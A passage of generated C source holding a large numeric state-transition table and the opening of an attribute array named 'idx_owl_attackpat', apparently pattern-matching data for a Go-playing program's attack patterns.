{0,{16322,16322,16322,16322}}, {0,{16323,15692,15692,15692}}, {0,{15693,15693,15693,16324}}, {0,{15694,15694,15694,16325}}, {0,{15695,15695,15695,16326}}, {0,{15696,15696,15696,16327}}, {0,{16328,16328,16328,16328}}, {0,{16329,15698,15698,15698}}, {2414,{0,0,15699,0}}, {0,{0,0,16331,0}}, {0,{16317,16317,16317,16317}}, {0,{16333,16337,16338,16337}}, {0,{16334,16336,16336,16336}}, {0,{16206,16206,16206,16335}}, {0,{16227,16227,16227,16233}}, {0,{16206,16206,16206,16206}}, {0,{16336,16336,16336,16336}}, {0,{16339,16347,16336,16336}}, {0,{16206,16206,16206,16340}}, {0,{16341,16227,16227,16233}}, {0,{16342,16208,16228,16208}}, {0,{16343,16286,16286,16286}}, {0,{16344,16210,16210,16210}}, {0,{16345,16273,16274,16273}}, {0,{16346,16272,16272,16272}}, {2417,{16252,16252,16252,16252}}, {0,{16206,16206,16206,16348}}, {0,{16349,16207,16207,16211}}, {0,{16350,16208,16208,16208}}, {0,{16351,16330,16330,16330}}, {0,{16210,16210,16352,16210}}, {0,{16353,16317,16318,16317}}, {0,{16354,16316,16316,16316}}, {2420,{16296,16296,16296,16296}}, {2422,{16356,16356,16356,16356}}, {0,{15926,15943,16357,15943}}, {0,{16358,16364,15942,15942}}, {0,{15928,15928,15928,16359}}, {0,{16360,15935,15935,15935}}, {0,{16361,15930,15936,15930}}, {0,{16362,16286,16286,16286}}, {0,{16363,15932,15932,15932}}, {0,{16273,16273,16274,16273}}, {0,{15928,15928,15928,16365}}, {0,{16366,15929,15929,15929}}, {0,{16367,15930,15930,15930}}, {0,{16368,16330,16330,16330}}, {0,{15932,15932,16369,15932}}, {0,{16317,16317,16318,16317}}, {0,{16356,16356,16356,16356}}, {2423,{16372,16383,16372,16022}}, {0,{16373,16373,16373,16373}}, {0,{16009,0,16374,0}}, {0,{16375,16379,0,0}}, {0,{0,0,0,16376}}, {0,{16377,16012,16012,16012}}, {0,{16378,0,16013,0}}, {0,{16286,16286,16286,16286}}, {0,{0,0,0,16380}}, {0,{16381,0,0,0}}, {0,{16382,0,0,0}}, {0,{16330,16330,16330,16330}}, {2424,{16373,16373,16373,16373}}, {0,{16385,16386,16372,16022}}, {2425,{16373,16373,16373,16373}}, {2427,{16387,16387,16387,16387}}, {0,{16388,16423,16424,16423}}, {0,{16389,16422,16422,16422}}, {0,{16390,16390,16390,16406}}, {0,{16391,0,0,0}}, {0,{16392,16392,16392,16392}}, {0,{0,0,16393,0}}, {0,{16394,16394,16394,16394}}, {0,{16395,16395,16395,16395}}, {0,{16396,16396,16396,0}}, {0,{16397,16397,16397,16397}}, {0,{16398,16398,16398,16398}}, {0,{16399,16399,16399,16399}}, {0,{16400,16400,16400,16400}}, {0,{16401,16401,16401,16401}}, {0,{16402,16402,16402,16402}}, {0,{16403,16403,16403,16403}}, {0,{16404,16404,16404,16404}}, {0,{16405,0,16405,0}}, {2428,{0,0,0,0}}, {0,{16407,16012,16012,16012}}, {0,{16392,16392,16408,16392}}, {0,{15940,15940,16409,15940}}, {0,{16410,16394,16394,16394}}, {0,{16411,16411,16411,16411}}, {0,{16412,16412,16412,15815}}, {0,{16413,16413,16413,16413}}, {0,{16414,16414,16414,16414}}, {0,{16415,16415,16415,16415}}, {0,{16416,16400,16416,16400}}, {0,{16401,16401,16401,16417}}, {0,{16402,16402,16402,16418}}, {0,{16403,16403,16403,16419}}, {0,{16404,16404,16404,16420}}, {0,{16421,15790,16421,15790}}, {2429,{0,15791,0,0}}, {0,{16390,16390,16390,16390}}, {0,{16422,16422,16422,16422}}, {0,{16425,16442,16422,16422}}, {0,{16390,16390,16390,16426}}, {0,{16427,16012,16012,16012}}, {0,{16428,16392,16408,16392}}, {0,{16286,16286,16429,16286}}, {0,{16430,16394,16394,16394}}, {0,{16431,16431,16431,16431}}, {0,{16432,16432,16432,16272}}, {0,{16433,16433,16433,16433}}, {0,{16434,16434,16434,16434}}, {0,{16435,16435,16435,16435}}, {0,{16436,16400,16400,16400}}, {0,{16401,16401,16401,16437}}, {0,{16402,16402,16402,16438}}, {0,{16403,16403,16403,16439}}, {0,{16404,16404,16404,16440}}, {0,{16441,16260,16441,16260}}, {2430,{16261,0,0,0}}, {0,{16390,16390,16390,16443}}, {0,{16444,0,0,0}}, {0,{16445,16392,16392,16392}}, {0,{16330,16330,16446,16330}}, {0,{16394,16394,16447,16394}}, {0,{16448,16448,16448,16448}}, {0,{16449,16449,16449,16316}}, {0,{16450,16450,16450,16450}}, {0,{16451,16451,16451,16451}}, {0,{16452,16452,16452,16452}}, {0,{16453,16400,16400,16400}}, {0,{16401,16401,16401,16454}}, {0,{16402,16402,16402,16455}}, {0,{16403,16403,16403,16456}}, {0,{16404,16404,16404,16457}}, {0,{16458,16304,16458,16304}}, {2431,{16305,0,0,0}}, {0,{16372,16383,16372,16022}}, {0,{16461,9702,16465,9111}}, {0,{16462,16185,16045,16045}}, {0,{16463,16463,16463,16464}}, {0,{16242,16242,16242,16242}}, {0,{16337,16337,16337,16337}}, {0,{16466,16467,0,0}}, {2432,{0,0,0,0}}, {2434,{16468,16468,16468,16468}}, {0,{16423,16423,16423,16423}}, {0,{16470,9697,9697,9697}}, {0,{16471,16484,16485,16485}}, {0,{16472,16483,16022,16022}}, {0,{16473,16473,16473,16473}}, {0,{16474,9701,16474,9701}}, {0,{16475,9692,9692,9692}}, {0,{9678,9678,9678,16476}}, {0,{16477,16477,16477,16477}}, {0,{9680,9680,16478,9680}}, {0,{16479,16479,16479,15940}}, {0,{16480,9682,9682,9682}}, {0,{16481,16481,16481,16481}}, {0,{15815,16482,15815,15815}}, {2435,{15805,15805,15805,15805}}, {2436,{16008,16008,16008,16008}}, {2437,{16022,16483,16022,16022}}, {0,{16022,16483,16022,16022}}, {0,{16487,16678,16678,16678}}, {0,{16488,16371,16646,16459}}, {0,{16489,16383,16372,16022}}, {0,{16490,16490,16490,16547}}, {0,{16491,10046,16510,10046}}, {0,{16492,9776,9776,9776}}, {0,{9751,9751,9751,16493}}, {0,{16494,16494,16494,16494}}, {0,{9748,9748,16495,9748}}, {0,{15940,15940,16496,15940}}, {0,{16497,9741,9741,9741}}, {0,{15853,15853,16498,15853}}, {0,{16499,15815,15815,15815}}, {0,{16500,16500,16500,16500}}, {0,{16501,16501,16501,16501}}, {0,{16502,16502,16502,16502}}, {0,{16503,9747,16503,9747}}, {0,{9740,9740,9740,16504}}, {0,{9722,9722,9722,16505}}, {0,{9723,9723,9723,16506}}, {0,{9724,9724,9724,16507}}, {0,{16508,16508,16508,16508}}, {0,{9726,16509,9726,9726}}, {2438,{9727,9727,9727,0}}, {0,{16511,16529,9776,9776}}, {0,{9751,9751,9751,16512}}, {0,{16513,16494,16494,16494}}, {0,{16514,9748,16495,9748}}, {0,{16286,16286,16515,16286}}, {0,{16516,9741,9741,9741}}, {0,{16273,16273,16517,16273}}, {0,{16518,16272,16272,16272}}, {0,{16519,16519,16519,16519}}, {0,{16520,16520,16520,16520}}, {0,{16521,16521,16521,16521}}, {0,{16522,9747,9747,9747}}, {0,{9740,9740,9740,16523}}, {0,{9722,9722,9722,16524}}, {0,{9723,9723,9723,16525}}, {0,{9724,9724,9724,16526}}, {0,{16527,16527,16527,16527}}, {0,{16528,9726,9726,9726}}, {2439,{9727,9727,9727,0}}, {0,{9751,9751,9751,16530}}, {0,{16531,9750,9750,9750}}, {0,{16532,9748,9748,9748}}, {0,{16330,16330,16533,16330}}, {0,{9741,9741,16534,9741}}, {0,{16317,16317,16535,16317}}, {0,{16536,16316,16316,16316}}, {0,{16537,16537,16537,16537}}, {0,{16538,16538,16538,16538}}, {0,{16539,16539,16539,16539}}, {0,{16540,9747,9747,9747}}, {0,{9740,9740,9740,16541}}, {0,{9722,9722,9722,16542}}, {0,{9723,9723,9723,16543}}, {0,{9724,9724,9724,16544}}, {0,{16545,16545,16545,16545}}, {0,{16546,9726,9726,9726}}, {2440,{9727,9727,9727,0}}, {0,{16548,10048,16581,10048}}, {0,{16549,9933,9933,9933}}, {0,{9878,9878,9878,16550}}, {0,{16551,16551,16551,16551}}, {0,{9874,9874,16552,9874}}, {0,{16553,15940,16567,15940}}, {0,{16554,9834,9834,9834}}, {0,{16555,16555,16555,15853}}, {0,{16556,15815,15815,15815}}, {0,{15805,15805,15805,16557}}, {0,{15783,15783,15783,16558}}, {0,{15784,15784,15784,16559}}, {0,{16560,9840,16560,9840}}, {0,{9833,9833,9833,16561}}, {0,{9815,9815,9815,16562}}, {0,{9816,9816,9816,16563}}, {0,{9817,9817,9817,16564}}, {0,{16565,16565,16565,16565}}, {0,{9819,16566,9819,9819}}, {2441,{9820,0,9820,0}}, {0,{16568,9867,9867,9867}}, {0,{16555,16555,16569,15853}}, {0,{16570,15815,15815,15815}}, {0,{16500,16500,16500,16571}}, {0,{16501,16501,16501,16572}}, {0,{16502,16502,16502,16573}}, {0,{16574,9873,16574,9873}}, {0,{9866,9866,9866,16575}}, {0,{9850,9850,9850,16576}}, {0,{9851,9851,9851,16577}}, {0,{9852,9852,9852,16578}}, {0,{16579,16579,16579,16579}}, {0,{9854,16580,9854,9854}}, {2442,{9855,9727,9855,0}}, {0,{16582,16614,9933,9933}}, {0,{9878,9878,9878,16583}}, {0,{16584,16551,16551,16551}}, {0,{16585,9874,16552,9874}}, {0,{16586,16286,16600,16286}}, {0,{16587,9834,9834,9834}}, {0,{16588,16588,16588,16273}}, {0,{16589,16272,16272,16272}}, {0,{16252,16252,16252,16590}}, {0,{16253,16253,16253,16591}}, {0,{16254,16254,16254,16592}}, {0,{16593,9840,9840,9840}}, {0,{9833,9833,9833,16594}}, {0,{9815,9815,9815,16595}}, {0,{9816,9816,9816,16596}}, {0,{9817,9817,9817,16597}}, {0,{16598,16598,16598,16598}}, {0,{16599,9819,9819,9819}}, {2443,{9820,0,9820,0}}, {0,{16601,9867,9867,9867}}, {0,{16588,16588,16602,16273}}, {0,{16603,16272,16272,16272}}, {0,{16519,16519,16519,16604}}, {0,{16520,16520,16520,16605}}, {0,{16521,16521,16521,16606}}, {0,{16607,9873,9873,9873}}, {0,{9866,9866,9866,16608}}, {0,{9850,9850,9850,16609}}, {0,{9851,9851,9851,16610}}, {0,{9852,9852,9852,16611}}, {0,{16612,16612,16612,16612}}, {0,{16613,9854,9854,9854}}, {2444,{9855,9727,9855,0}}, {0,{9878,9878,9878,16615}}, {0,{16616,9877,9877,9877}}, {0,{16617,9874,9874,9874}}, {0,{16618,16330,16632,16330}}, {0,{9834,9834,16619,9834}}, {0,{16620,16620,16620,16317}}, {0,{16621,16316,16316,16316}}, {0,{16296,16296,16296,16622}}, {0,{16297,16297,16297,16623}}, {0,{16298,16298,16298,16624}}, {0,{16625,9840,9840,9840}}, {0,{9833,9833,9833,16626}}, {0,{9815,9815,9815,16627}}, {0,{9816,9816,9816,16628}}, {0,{9817,9817,9817,16629}}, {0,{16630,16630,16630,16630}}, {0,{16631,9819,9819,9819}}, {2445,{9820,0,9820,0}}, {0,{9867,9867,16633,9867}}, {0,{16620,16620,16634,16317}}, {0,{16635,16316,16316,16316}}, {0,{16537,16537,16537,16636}}, {0,{16538,16538,16538,16637}}, {0,{16539,16539,16539,16638}}, {0,{16639,9873,9873,9873}}, {0,{9866,9866,9866,16640}}, {0,{9850,9850,9850,16641}}, {0,{9851,9851,9851,16642}}, {0,{9852,9852,9852,16643}}, {0,{16644,16644,16644,16644}}, {0,{16645,9854,9854,9854}}, {2446,{9855,9727,9855,0}}, {0,{16647,16383,16372,16022}}, {0,{16648,16648,16648,16648}}, {0,{16649,10052,16659,10052}}, {0,{16650,10022,10022,10022}}, {0,{10012,10012,10012,16651}}, {0,{16652,16652,16652,16652}}, {0,{10008,10008,16653,10008}}, {0,{16654,15940,16658,15940}}, {2447,{16655,10004,10004,10004}}, {0,{16656,16656,16656,16656}}, {0,{16657,15815,16657,15815}}, {2448,{15805,15805,15805,15805}}, {0,{16655,10004,10004,10004}}, {0,{16660,16669,10022,10022}}, {0,{10012,10012,10012,16661}}, {0,{16662,16652,16652,16652}}, {0,{16663,10008,16653,10008}}, {0,{16664,16286,16668,16286}}, {2449,{16665,10004,10004,10004}}, {0,{16666,16666,16666,16666}}, {0,{16667,16272,16667,16272}}, {2450,{16252,16252,16252,16252}}, {0,{16665,10004,10004,10004}}, {0,{10012,10012,10012,16670}}, {0,{16671,10011,10011,10011}}, {0,{16672,10008,10008,10008}}, {0,{16673,16330,16677,16330}}, {2451,{10004,10004,16674,10004}}, {0,{16675,16675,16675,16675}}, {0,{16676,16316,16676,16316}}, {2452,{16296,16296,16296,16296}}, {0,{10004,10004,16674,10004}}, {0,{10043,9702,16679,9111}}, {0,{10050,9109,0,0}}, {0,{16681,10055,10055,10055}}, {0,{16485,16484,16485,16485}}, {0,{16683,16469,16696,16680}}, {0,{16684,16692,16692,16692}}, {0,{16685,16484,16689,16485}}, {0,{16686,16688,15993,15993}}, {0,{16687,16687,16687,16687}}, {0,{16333,16337,16333,16337}}, {2454,{15925,15925,15925,15925}}, {0,{16690,16691,16022,16022}}, {2455,{16008,16008,16008,16008}}, {2457,{16008,16008,16008,16008}}, {0,{16693,9702,16695,9111}}, {0,{16694,16185,16045,16045}}, {0,{16464,16464,16464,16464}}, {0,{16466,16187,0,0}}, {0,{16697,16678,16678,16678}}, {0,{16698,16484,16702,16485}}, {0,{16699,16483,16022,16022}}, {0,{16700,16700,16700,16701}}, {0,{16491,10046,16491,10046}}, {0,{16548,10048,16548,10048}}, {0,{16703,16483,16022,16022}}, {0,{16704,16704,16704,16704}}, {0,{16649,10052,16649,10052}}, {0,{16706,16469,16696,16680}}, {0,{16707,16749,16749,16749}}, {0,{16685,16484,16708,16485}}, {0,{16690,16709,16711,16022}}, {2459,{16710,16710,16710,16710}}, {0,{16388,16423,16388,16423}}, {0,{16712,16712,16712,16712}}, {0,{16713,16748,16713,16748}}, {0,{16714,16745,16745,16745}}, {0,{0,0,0,16715}}, {0,{16716,16012,16012,16012}}, {0,{16717,16717,16731,16717}}, {0,{0,16718,0,0}}, {0,{16719,16719,16719,16719}}, {0,{16720,16720,16720,16720}}, {0,{16721,16721,16721,0}}, {0,{16722,16722,16722,16722}}, {0,{16723,16723,16723,16723}}, {0,{16724,16724,16724,16724}}, {0,{16725,16725,16725,16725}}, {0,{16726,16726,16726,16726}}, {0,{0,0,0,16727}}, {0,{0,0,0,16728}}, {0,{0,0,0,16729}}, {0,{16730,0,0,0}}, {2460,{0,0,0,0}}, {0,{15940,16732,15940,15940}}, {0,{16733,16719,16719,16719}}, {0,{16734,16734,16734,16734}}, {0,{16735,16735,16735,15815}}, {0,{16736,16736,16736,16736}}, {0,{16737,16737,16737,16737}}, {0,{16738,16738,16738,16738}}, {0,{16739,16725,16739,16725}}, {0,{16726,16726,16726,16740}}, {0,{0,0,0,16741}}, {0,{0,0,0,16742}}, {0,{0,0,0,16743}}, {0,{16744,15790,15790,15790}}, {2461,{0,15791,0,0}}, {0,{0,0,0,16746}}, {0,{16747,0,0,0}}, {0,{16717,16717,16717,16717}}, {0,{16745,16745,16745,16745}}, {0,{16693,9702,16750,9111}}, {0,{16466,16467,16751,0}}, {0,{16752,16752,16752,16752}}, {0,{16748,16748,16748,16748}}, {0,{16754,10077,16763,10054}}, {0,{16755,16755,16755,16755}}, {0,{16756,16762,16695,9111}}, {0,{16757,16185,16045,16045}}, {0,{16758,16758,16758,16758}}, {0,{16759,16759,16759,16759}}, {0,{16760,16760,16760,16760}}, {0,{16761,16761,16761,16761}}, {0,{16211,16211,16211,16211}}, {2462,{0,9109,16141,0}}, {0,{16678,16678,16678,16678}}, {0,{16765,16767,16769,16771}}, {0,{16766,10077,16763,10054}}, {0,{16460,16460,16460,16460}}, {0,{16768,10077,16763,10054}}, {0,{16692,16692,16692,16692}}, {0,{16770,10077,16763,10054}}, {0,{16749,16749,16749,16749}}, {0,{16772,10077,16763,10054}}, {0,{16773,16755,16755,16755}}, {0,{16756,16762,16774,9111}}, {0,{16466,16187,16775,0}}, {0,{16776,16776,16776,16776}}, {0,{16777,16777,0,0}}, {0,{16778,16778,16778,16778}}, {0,{0,0,0,16779}}, {0,{0,0,0,16780}}, {0,{0,0,0,16781}}, {0,{0,16782,0,0}}, {2463,{0,0,0,0}}, {0,{16765,16767,16769,16753}}, {0,{16785,16995,16995,16995}}, {0,{16786,16976,16976,16984}}, {0,{16787,16951,16953,16951}}, {0,{16788,16830,16834,16830}}, {0,{16789,16484,16689,16485}}, {0,{16790,16688,15969,15993}}, {0,{16791,16791,16791,15925}}, {0,{16792,16829,16792,16829}}, {0,{16793,16826,16826,16826}}, {0,{15928,15928,15928,16794}}, {0,{16795,15935,15935,15935}}, {0,{16796,16796,16810,16796}}, {0,{16797,0,0,0}}, {0,{16798,16798,16798,16798}}, {0,{10834,0,15933,16799}}, {0,{0,0,16800,0}}, {0,{0,0,16801,0}}, {0,{16802,16802,16802,16802}}, {0,{16803,16803,16803,16803}}, {0,{16804,16804,16804,16804}}, {0,{16805,16805,16805,16805}}, {0,{0,0,0,16806}}, {0,{0,0,0,16807}}, {0,{0,0,0,16808}}, {0,{16809,0,0,0}}, {2464,{0,0,0,0}}, {0,{16811,15940,15940,15940}}, {0,{16812,16798,16798,16798}}, {0,{16813,15853,15939,16815}}, {0,{16814,15815,15815,15815}}, {0,{15805,15912,15805,15805}}, {0,{15815,15815,16816,15815}}, {0,{15805,15805,16817,15805}}, {0,{16818,16818,16818,16818}}, {0,{16819,16819,16819,16819}}, {0,{16820,16804,16820,16804}}, {0,{16805,16805,16805,16821}}, {0,{0,0,0,16822}}, {0,{0,0,0,16823}}, {0,{0,0,0,16824}}, {0,{16825,15790,15790,15790}}, {2465,{0,15791,0,0}}, {0,{15928,15928,15928,16827}}, {0,{16828,15929,15929,15929}}, {0,{16796,16796,16796,16796}}, {0,{16826,16826,16826,16826}}, {0,{16831,9702,16695,9111}}, {0,{16832,16185,16043,16045}}, {0,{16833,16833,16833,16034}}, {0,{16829,16829,16829,16829}}, {0,{16835,16938,16947,16950}}, {0,{16836,16918,16922,16937}}, {0,{16833,16837,16833,16034}}, {0,{16838,16829,16829,16829}}, {0,{16839,16826,16826,16826}}, {0,{16840,16840,16840,16881}}, {0,{16841,16841,16841,16841}}, {0,{15930,16842,15930,15930}}, {0,{16843,16879,16879,16879}}, {0,{16844,15932,15932,15932}}, {0,{16845,16845,16866,16845}}, {0,{16846,16846,16846,16846}}, {0,{16847,16847,16847,16847}}, {0,{16848,16848,16848,16848}}, {0,{0,0,16849,0}}, {0,{16850,0,0,0}}, {0,{0,0,0,16851}}, {0,{16852,16852,16852,16852}}, {0,{16853,16853,16853,16853}}, {0,{16854,16854,16854,16854}}, {0,{16855,16855,16855,16855}}, {0,{16856,0,0,0}}, {0,{16857,16857,16857,16857}}, {0,{0,0,0,16858}}, {0,{16859,16859,16859,16859}}, {0,{16860,16860,16860,16860}}, {0,{16861,16861,16861,16861}}, {0,{16862,16862,16862,16862}}, {0,{16863,16863,16863,16863}}, {0,{16864,16864,16864,16864}}, {0,{16865,0,0,0}}, {2466,{0,0,0,0}}, {0,{16867,16867,16867,16867}}, {0,{16868,16868,16868,16868}}, {0,{16869,16869,16869,16869}}, {0,{15691,15691,16870,15691}}, {0,{16871,15692,15692,15692}}, {0,{15693,15693,15693,16872}}, {0,{16873,16873,16873,16873}}, {0,{16874,16874,16874,16874}}, {0,{16875,16875,16875,16875}}, {0,{16876,16876,16876,16876}}, {0,{16877,15698,15698,15698}}, {0,{16857,16857,16878,16857}}, {2467,{0,0,0,16858}}, {0,{16880,0,0,0}}, {0,{16845,16845,16845,16845}}, {0,{16882,16841,16841,16841}}, {0,{16796,16883,16796,16796}}, {0,{16884,16879,16879,16879}}, {0,{16885,16798,16798,16798}}, {0,{16886,16845,16866,16907}}, {0,{16887,16846,16846,16846}}, {0,{16847,16888,16847,16847}}, {0,{16889,16889,16889,16889}}, {0,{10838,10838,16890,10838}}, {0,{16891,10839,10839,10839}}, {0,{10840,10840,10840,16892}}, {0,{16852,16852,16852,16893}}, {0,{16853,16853,16853,16894}}, {0,{16854,16854,16854,16895}}, {0,{16896,16855,16855,16855}}, {0,{16897,9308,9308,9308}}, {0,{16898,16857,16857,16857}}, {0,{9219,9219,9219,16899}}, {0,{16900,16900,16900,16900}}, {0,{16901,16860,16860,16860}}, {0,{16902,16902,16861,16861}}, {0,{16903,16903,16903,16903}}, {0,{16904,16904,16904,16904}}, {0,{16905,16905,16905,16905}}, {0,{16906,4226,4226,4226}}, {2468,{4225,4225,4225,4225}}, {0,{16846,16846,16908,16846}}, {0,{16847,16847,16909,16847}}, {0,{16910,16910,16910,16910}}, {0,{16803,16803,16911,16803}}, {0,{16912,16804,16804,16804}}, {0,{16805,16805,16805,16913}}, {0,{16852,16852,16852,16914}}, {0,{16853,16853,16853,16915}}, {0,{16854,16854,16854,16916}}, {0,{16917,16855,16855,16855}}, {2469,{16856,0,0,0}}, {2471,{16034,16919,16034,16034}}, {0,{16920,15943,15943,15943}}, {0,{16921,15942,15942,15942}}, {0,{16840,16840,16840,16840}}, {0,{16044,16923,16044,16044}}, {0,{16924,15992,15992,15992}}, {0,{16925,15991,15991,15991}}, {0,{16926,16926,16926,16926}}, {0,{16927,16927,16927,16927}}, {0,{15975,16928,15975,15975}}, {0,{16929,16935,16935,16879}}, {0,{16930,15977,15977,15977}}, {0,{16931,16931,16933,16931}}, {0,{16932,16846,16846,16846}}, {2472,{16847,16847,16847,16847}}, {0,{16934,16867,16867,16867}}, {2473,{16868,16868,16868,16868}}, {0,{16936,5324,5324,5324}}, {0,{16931,16931,16931,16931}}, {0,{16034,16919,16034,16034}}, {2474,{16939,16946,16939,16939}}, {0,{0,16940,0,0}}, {0,{16941,0,0,0}}, {0,{16942,0,0,0}}, {0,{16943,16943,16943,16943}}, {0,{16944,16944,16944,16944}}, {0,{0,16945,0,0}}, {0,{16879,16879,16879,16879}}, {2475,{0,16940,0,0}}, {0,{16948,16949,16939,16939}}, {2476,{0,16940,0,0}}, {2478,{0,16940,0,0}}, {0,{16939,16946,16939,16939}}, {0,{16681,10055,16952,10055}}, {0,{16950,16938,16950,16950}}, {0,{16954,14978,16958,14978}}, {0,{16955,16484,16956,16485}}, {0,{16022,16483,16064,16022}}, {0,{16957,16483,16022,16022}}, {0,{16087,16087,16087,16087}}, {0,{16959,16938,16967,16950}}, {0,{16939,16946,16960,16939}}, {0,{7407,16961,7407,7407}}, {0,{16962,7408,7408,7408}}, {0,{16963,7172,7172,7172}}, {0,{16964,16964,16964,16964}}, {0,{16965,16965,16965,16965}}, {0,{7156,16966,7156,7156}}, {0,{16935,16935,16935,16879}}, {0,{16968,16946,16939,16939}}, {0,{7416,16969,7416,7416}}, {0,{16970,7417,7417,7417}}, {0,{16971,7317,7317,7317}}, {0,{16972,16972,16972,16972}}, {0,{16973,16973,16973,16973}}, {0,{7308,16974,7308,7308}}, {0,{16975,16879,16879,16879}}, {2479,{16880,0,0,0}}, {0,{16977,16951,16953,16951}}, {0,{16978,16980,16982,16980}}, {0,{16979,16484,16689,16485}}, {0,{15993,16688,15969,15993}}, {0,{16981,9702,16695,9111}}, {0,{16045,16185,16043,16045}}, {0,{16983,16938,16947,16950}}, {0,{16937,16918,16922,16937}}, {0,{16985,10054,15128,10054}}, {0,{16986,16986,16986,16986}}, {0,{16981,16762,16987,9111}}, {0,{16988,16187,0,0}}, {2480,{16989,16989,16989,16989}}, {0,{16990,16990,16990,16990}}, {0,{16991,16991,16991,16991}}, {0,{0,0,0,16992}}, {0,{0,0,0,16993}}, {0,{0,0,0,16994}}, {0,{11209,0,11209,0}}, {0,{16996,16998,16998,16984}}, {0,{16997,10054,15128,10054}}, {0,{16830,16830,16830,16830}}, {0,{16999,10054,15128,10054}}, {0,{16980,16980,16980,16980}}, {0,{17001,17001,17001,17001}}, {0,{17002,17002,17002,17002}}, {0,{17003,11696,11696,11696}}, {0,{17004,17004,17004,17004}}, {0,{17005,11688,0,0}}, {0,{16045,16045,16045,16045}}, {0,{17007,17044,17074,0}}, {0,{17008,17023,17042,15308}}, {0,{17009,17009,17009,17022}}, {0,{17010,17010,17010,17020}}, {0,{17011,11802,11808,11808}}, {0,{17012,17012,17012,17018}}, {0,{17013,17015,17016,16022}}, {0,{17014,16008,16008,16008}}, {0,{16016,0,16009,0}}, {0,{16015,16021,16021,16021}}, {2482,{17017,17017,17017,17017}}, {0,{16009,11806,16009,0}}, {0,{16022,17019,17016,16022}}, {0,{16021,16021,16021,16021}}, {0,{17021,11808,11808,11808}}, {0,{17018,17018,17018,17018}}, {0,{11899,11899,11899,11913}}, {2484,{17024,17024,17024,17024}}, {0,{17025,17025,17025,11913}}, {0,{17026,17026,17026,11808}}, {0,{17027,17027,17027,17027}}, {0,{17028,11789,11804,0}}, {0,{17029,0,17029,0}}, {0,{17030,0,0,0}}, {0,{17031,17031,17031,17031}}, {0,{17032,17032,17032,17032}}, {0,{17033,17033,17033,17033}}, {0,{17034,17034,17034,17034}}, {0,{17035,17035,17035,17035}}, {0,{17036,17036,17036,17036}}, {0,{17037,17037,17037,17037}}, {0,{17038,17038,17038,17038}}, {0,{17039,0,17039,0}}, {0,{17040,17040,17040,17040}}, {0,{17041,0,17041,0}}, {2485,{0,0,0,0}}, {0,{17043,17043,17043,17043}}, {0,{11913,11913,11913,11913}}, {0,{17045,0,0,0}}, {0,{17046,17053,17053,17054}}, {0,{17047,17050,17047,17050}}, {0,{17048,0,0,0}}, {0,{17049,17049,17049,17049}}, {0,{16372,16372,16372,16022}}, {0,{17051,0,0,0}}, {0,{17052,17052,17052,17052}}, {0,{16022,16022,16022,16022}}, {0,{17050,17050,17050,17050}}, {0,{17055,17055,17055,0}}, {0,{17056,0,0,0}}, {0,{17057,17057,17057,17057}}, {0,{17058,17058,17058,0}}, {0,{17059,17059,17059,17059}}, {0,{0,0,17060,0}}, {0,{17061,0,0,0}}, {0,{0,0,0,17062}}, {0,{0,0,0,17063}}, {0,{0,0,0,17064}}, {0,{17065,17065,17065,17065}}, {0,{17066,0,0,0}}, {0,{17067,17067,17067,17067}}, {0,{17068,17068,17068,17068}}, {0,{17069,17069,17069,17069}}, {0,{17070,17070,17070,17070}}, {0,{17071,17071,17071,17071}}, {0,{17072,0,17073,0}}, {2486,{0,0,0,0}}, {2487,{0,0,0,0}}, {0,{17075,0,0,0}}, {0,{17076,17076,17076,17080}}, {0,{17077,17077,17077,17077}}, {0,{17051,0,17078,0}}, {0,{17079,17079,17079,17079}}, {0,{16939,16939,16939,16939}}, {0,{17081,17081,17081,0}}, {0,{0,17082,0,0}}, {0,{17083,17083,17083,17083}}, {0,{17084,17084,17084,0}}, {0,{17085,17085,17085,17085}}, {0,{17086,0,0,0}}, {0,{0,0,17087,0}}, {0,{0,0,0,17088}}, {0,{0,0,0,17089}}, {0,{0,0,0,17090}}, {0,{17091,17091,17091,17091}}, {0,{17092,0,0,0}}, {0,{17093,17093,17093,17093}}, {0,{17094,17094,17094,17094}}, {0,{17095,17095,17095,17095}}, {0,{17096,17096,17096,17096}}, {0,{17097,17097,17097,17097}}, {0,{17098,0,0,0}}, {0,{0,0,0,17099}}, {2488,{0,0,0,0}}, {0,{17101,17111,17113,0}}, {0,{17102,15558,15558,0}}, {0,{17103,17103,17103,17110}}, {0,{17104,17104,17104,17108}}, {0,{17105,12983,12914,12914}}, {0,{17106,17106,17106,17107}}, {0,{17013,17015,16022,16022}}, {0,{16022,17019,16022,16022}}, {0,{17109,12914,12914,12914}}, {0,{17107,17107,17107,17107}}, {0,{12988,12988,12988,12995}}, {0,{17112,0,0,0}}, {0,{17046,17053,17053,0}}, {0,{17114,0,0,0}}, {0,{17076,17076,17076,0}}, {0,{17116,17116,17113,0}}, {0,{17117,0,0,0}}, {0,{17053,17053,17053,0}}, {0,{17119,17133,17136,0}}, {0,{17120,17127,17127,17130}}, {0,{17121,17123,17123,17125}}, {0,{17122,17122,17122,17122}}, {0,{7599,7599,7599,7599}}, {0,{17124,17124,17124,17124}}, {0,{8545,8545,8545,8545}}, {0,{17126,17126,17126,17126}}, {0,{9106,9106,9106,9106}}, {0,{17128,17128,17128,17128}}, {0,{17129,17129,17129,17129}}, {0,{10054,10054,10054,10054}}, {0,{17131,17131,17131,17131}}, {0,{17132,17132,17132,17132}}, {0,{11696,11696,11696,11696}}, {0,{17134,0,0,0}}, {0,{17042,17135,17042,15308}}, {2490,{17043,17043,17043,17043}}, {0,{17137,0,0,0}}, {0,{15558,15558,15558,0}}, }; static attrib_t idx_owl_attackpat[2491] = { {-1,0}, {56,0}, {31,0}, {84,0}, {84,0}, {55,0}, {200,0}, {56,0}, {200,0}, {55,0}, {201,0}, {56,0}, {201,0}, {55,0}, {174,0}, {44,0}, {25,15}, {44,0}, {25,17}, {44,0}, {25,19}, {44,0}, {25,21}, {174,0}, {174,0}, {174,0}, {174,0}, {174,0}, {69,0}, {56,0}, {68,0}, {56,0}, {69,0}, {15,0}, {56,0}, {44,0}, {25,35}, {44,0}, {25,37}, {44,0}, {25,39}, {174,0}, {20,0}, {20,0}, {20,0}, {174,0}, {186,0}, {185,46}, {188,0}, {186,0}, {185,49}, {188,0}, {186,0}, {185,52}, {188,0}, {186,0}, {185,55}, {188,0}, {186,0}, {185,58}, {188,0}, {186,0}, {185,61}, {188,0}, {186,0}, {185,64}, {188,0}, {186,0}, {185,67}, {188,0}, {186,0}, {185,70}, {188,0}, {186,0}, {185,73}, {188,0}, {49,0}, {49,0}, {49,0}, {49,0}, {49,0}, {49,0}, {49,0}, {49,0}, {174,0}, {90,0}, {174,0}, {90,0}, {90,0}, {90,0}, {210,0}, {183,90}, {174,0}, {210,0}, 